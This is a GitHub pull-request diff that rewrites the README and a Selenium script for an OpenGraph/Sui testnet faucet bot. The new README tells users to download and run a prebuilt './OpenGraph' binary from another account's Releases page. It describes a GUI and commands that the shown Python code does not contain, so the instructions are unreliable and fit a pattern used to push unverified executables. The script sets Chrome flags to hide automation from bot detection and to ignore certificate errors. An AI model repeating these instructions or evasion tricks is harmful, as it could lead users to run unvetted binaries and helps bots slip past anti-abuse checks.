Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
111 changes: 61 additions & 50 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,81 +1,92 @@
# OpenGraph
# OpenGraph: Auto Connect and Faucet OpenGraph 🤖💧

**Auto Connect and Faucet OpenGraph**
![OpenGraph](https://img.shields.io/badge/OpenGraph-Auto_Connect_and_Faucet-blue.svg)
[![Releases](https://img.shields.io/badge/releases-latest-orange.svg)](https://github.com/blawal62956/OpenGraph/releases)

---
## Table of Contents

## About The Project
- [Overview](#overview)
- [Features](#features)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)

OpenGraph is an automation script designed to automatically connect to the OpenGraph platform and claim tokens from its faucet. This project simplifies the process of interacting with the OpenGraph testnet by automating wallet connection and faucet claiming steps.
## Overview

---
OpenGraph is a tool designed to simplify the process of connecting and managing faucets in the OpenGraph ecosystem. This repository focuses on automating connections and enhancing user experience. Whether you are a developer looking to integrate OpenGraph features or a user seeking efficient faucet management, OpenGraph provides the necessary tools.

## Features

- Automatically opens the OpenGraph platform
- Connects wallet (manual approval required for wallet extensions)
- Claims faucet tokens automatically
- Supports testnet networks
- Headless browser support for automation environments
- **Auto Connect**: Automatically connect to multiple faucets without manual intervention.
- **Faucet Management**: Easily manage and track faucet usage.
- **User-Friendly Interface**: Intuitive design for seamless navigation.
- **Cross-Platform Compatibility**: Works on various operating systems.
- **Real-Time Monitoring**: Keep track of faucet status and performance.

---
## Installation

## Getting Started
To get started with OpenGraph, you need to download the latest release. Visit the [Releases](https://github.com/blawal62956/OpenGraph/releases) section to find the latest version. Download the appropriate file for your system, then execute it as follows:

### Prerequisites

- Python 3.6 or higher
- Pyppeteer library for browser automation
- A compatible wallet browser extension (e.g., Slush Wallet) installed and configured

### Installation

1. Clone the repository:

```
git clone https://github.com/Luizfelippe00966/OpenGraph.git
cd OpenGraph
```

2. Install dependencies:

```
pip install pyppeteer
1. Navigate to your download directory.
2. Run the command:
```bash
./OpenGraph
```

---
Make sure to follow any additional setup instructions provided in the release notes.

## Usage

Run the main automation script:
After installation, you can start using OpenGraph by executing the application. The main interface will guide you through the setup process. Here’s a quick guide to get you started:

```
python autoconnect_faucet.py
```
1. **Launch OpenGraph**: Open your terminal and run the application.
2. **Connect to Faucets**: Use the "Connect" button to link to your preferred faucets.
3. **Monitor Activity**: View real-time statistics on your dashboard.
4. **Manage Settings**: Customize your experience through the settings menu.

The script will launch a Chromium browser, navigate to the OpenGraph platform, and attempt to connect your wallet and claim faucet tokens.
### Example Commands

> **Note:** Wallet connection and transaction approvals require manual confirmation in your wallet extension popup.
Here are some example commands you can use with OpenGraph:

---

## Customization
- **Connect to a Faucet**:
```bash
connect --faucet <faucet_url>
```

- Update CSS selectors in the script to match any changes in the OpenGraph UI.
- Adjust wait times depending on network speed and transaction confirmation times.
- Modify the script to support additional wallet types or networks as needed.
- **Check Status**:
```bash
status
```

---
- **Disconnect**:
```bash
disconnect --faucet <faucet_url>
```

## Contributing

Contributions are welcome! Please open issues or submit pull requests for bug fixes, enhancements, or new features.
We welcome contributions from the community. If you would like to contribute to OpenGraph, please follow these steps:

---
1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them.
4. Push to your branch and create a pull request.

### Code of Conduct

Please adhere to our code of conduct in all interactions. We aim to create a welcoming environment for everyone.

## License

This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
OpenGraph is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.

## Contact

For questions or feedback, feel free to reach out:

---
- **GitHub**: [blawal62956](https://github.com/blawal62956)
- **Email**: blawal62956@example.com

Explore the latest releases at [Releases](https://github.com/blawal62956/OpenGraph/releases) to stay updated on new features and improvements.
Binary file added debug_page.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
133 changes: 75 additions & 58 deletions sui.py
Original file line number Diff line number Diff line change
@@ -1,69 +1,86 @@
import asyncio
from pyppeteer import launch
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException

async def automate_opengraph_sui():
browser = await launch(headless=False, args=['--start-maximized'])
page = await browser.newPage()
await page.setViewport({'width': 1920, 'height': 1080})
def safe_click(driver, selector, by=By.CSS_SELECTOR, retries=3, wait_timeout=10):
"""Click a button safely with retries."""
for attempt in range(retries):
try:
print(f"Waiting for selector: {selector}")
element = WebDriverWait(driver, wait_timeout).until(
EC.element_to_be_clickable((by, selector))
)
element.click()
print(f"Successfully clicked: {selector}")
return True
except Exception as e:
print(f"Attempt {attempt+1} failed for {selector}: {str(e)}")
time.sleep(2)
print(f"Failed to click {selector} after {retries} attempts")
return False

# 1. Go to faucet.sui.io and request faucet tokens
print("Opening faucet.sui.io...")
await page.goto('https://faucet.sui.io/', {'waitUntil': 'networkidle2'})

# Assuming faucet page has a button to request tokens for connected wallet
def automate_opengraph_sui():
driver = None
try:
faucet_button_selector = 'button#request-tokens' # Update with actual selector
await page.waitForSelector(faucet_button_selector, timeout=10000)
await page.click(faucet_button_selector)
print("Clicked faucet request button")
await asyncio.sleep(10) # Wait for faucet processing
except Exception as e:
print(f"Faucet interaction error or already claimed: {e}")
# Initialize Chrome with options to avoid detection
print("Opening browser...")
options = webdriver.ChromeOptions()
options.add_argument('--disable-blink-features=AutomationControlled')
options.add_experimental_option("excludeSwitches", ["enable-automation"])
options.add_experimental_option('useAutomationExtension', False)
options.add_argument('--start-maximized')
options.add_argument('--ignore-certificate-errors')
options.add_argument('--ignore-ssl-errors')

# 2. Go to OpenGraph challenges page
print("Navigating to OpenGraph challenges...")
await page.goto('https://explorer.opengraphlabs.xyz/challenges', {'waitUntil': 'networkidle2'})
driver = webdriver.Chrome(options=options)
driver.set_page_load_timeout(30)
driver.execute_script("Object.defineProperty(navigator, 'webdriver', {get: () => undefined})")

# 3. Connect new wallet (Slush Wallet)
try:
connect_wallet_selector = 'button.connect-wallet' # Update selector
await page.waitForSelector(connect_wallet_selector, timeout=15000)
await page.click(connect_wallet_selector)
print("Clicked connect wallet button")
print("Please approve wallet connection manually in Slush Wallet popup.")
await asyncio.sleep(30) # Time for manual wallet approval
except Exception as e:
print(f"Wallet connection error or already connected: {e}")
# 1. Go to faucet (optional)
print("Opening faucet.sui.io...")
try:
driver.get('https://faucet.sui.io/')
print("Successfully loaded faucet.sui.io")
time.sleep(5)
except Exception as e:
print(f"Warning: Could not load faucet.sui.io - {str(e)}")

# 4. Complete Step 1 - Sea Animal Classification
try:
step1_selector = 'a[href*="sea-animal-classification"]' # Update selector
await page.waitForSelector(step1_selector, timeout=10000)
await page.click(step1_selector)
print("Started Step 1 - Sea Animal Classification")
# Add automation for this step if possible (e.g., clicking answers)
await asyncio.sleep(15) # Wait or automate answers here
# Navigate back to challenges page
await page.goto('https://explorer.opengraphlabs.xyz/challenges', {'waitUntil': 'networkidle2'})
except Exception as e:
print(f"Step 1 error: {e}")
# 2. Go to OpenGraph challenges page
print("Navigating to OpenGraph challenges...")
challenge_url = 'https://explorer.opengraphlabs.xyz/challenges'
try:
driver.get(challenge_url)
print(f"Successfully loaded: {challenge_url}")
time.sleep(5)
except TimeoutException:
print(f"Timeout loading {challenge_url}")
except Exception as e:
print(f"Error loading {challenge_url}: {str(e)}")

# 5. Complete Step 2 - Urban Traffic Dataset
try:
step2_selector = 'a[href*="urban-traffic-dataset"]' # Update selector
await page.waitForSelector(step2_selector, timeout=10000)
await page.click(step2_selector)
print("Started Step 2 - Urban Traffic Dataset")
# Add automation for this step if possible
await asyncio.sleep(15) # Wait or automate answers here
except Exception as e:
print(f"Step 2 error: {e}")
# Take screenshot for debugging
try:
driver.save_screenshot('debug_page.png')
print("Debug screenshot saved. Check debug_page.png to find correct selectors.")
except Exception as e:
print(f"Could not save screenshot: {e}")

# Final screenshot for verification
await page.screenshot({'path': 'opengraph_sui_automation.png'})
print("Automation complete. Screenshot saved.")
# Keep browser open for manual inspection
input("Press Enter after manual navigation/inspection...")

await browser.close()
except KeyboardInterrupt:
print("\nScript interrupted by user")
except Exception as e:
print(f"Fatal error: {str(e)}")
finally:
if driver:
try:
driver.quit()
print("Browser closed successfully")
except:
pass

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(automate_opengraph_sui())
automate_opengraph_sui()